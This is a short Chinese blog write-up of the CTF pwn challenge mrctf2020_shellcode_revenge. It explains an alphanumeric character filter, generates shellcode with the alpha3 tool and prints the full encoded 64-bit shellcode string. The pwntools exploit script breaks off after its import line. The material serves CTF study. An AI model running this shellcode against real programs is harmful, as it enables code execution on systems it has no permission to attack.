mrctf2020_shellcode_revenge
类型:shellcode 字符审查
一如既往的checksec

打开ida之后我们发现图形化反汇编mian函数里面有很多的跳转。我们直接F5,会报错,说call rax这一行有问题。我们直接右键未定义即可。

看起来是一堆if字符检测,我们拿出离散数学的知识和ASCII码表对照一看就会快速发现这是一个把所有的非字母、非数字常规文本字符给去掉了。只有“qwertyuiopasdfghjklzxcvbnm QWERTYUIOPASDFGHJKLZXCV BNM 1234567890”这些字符。
然后原理和mrctf2020_shellcode一样,读入什么执行什么。
我们可以用alpha3工具来帮我们生成这个shellcode:alpha3.py
ok了,然后我们就得到64位的shellcode字符串化的串为:
1 | Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2O2u2E0Z7m0n7m0R0b2x2o0Y102x0B7O2A1P2J0n102j0V0l2A0T170Z2j0Y7N0O1O137M0I1P132v0H0V10142v060H0f11000J0q11180I1711160J0Z110h0k060V0y0g2E0m0K170u0n110m2H11120n2n0U1N0f7N0m0H192m0n2n0U10112t0H12131k2k0h0l02102w0m0I112m2w0C01 |
操,太长了。然后我发现用python2的方法生成的可以打通
exp如下:
1 | from pwn import* |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Kanyo’s Blogs!










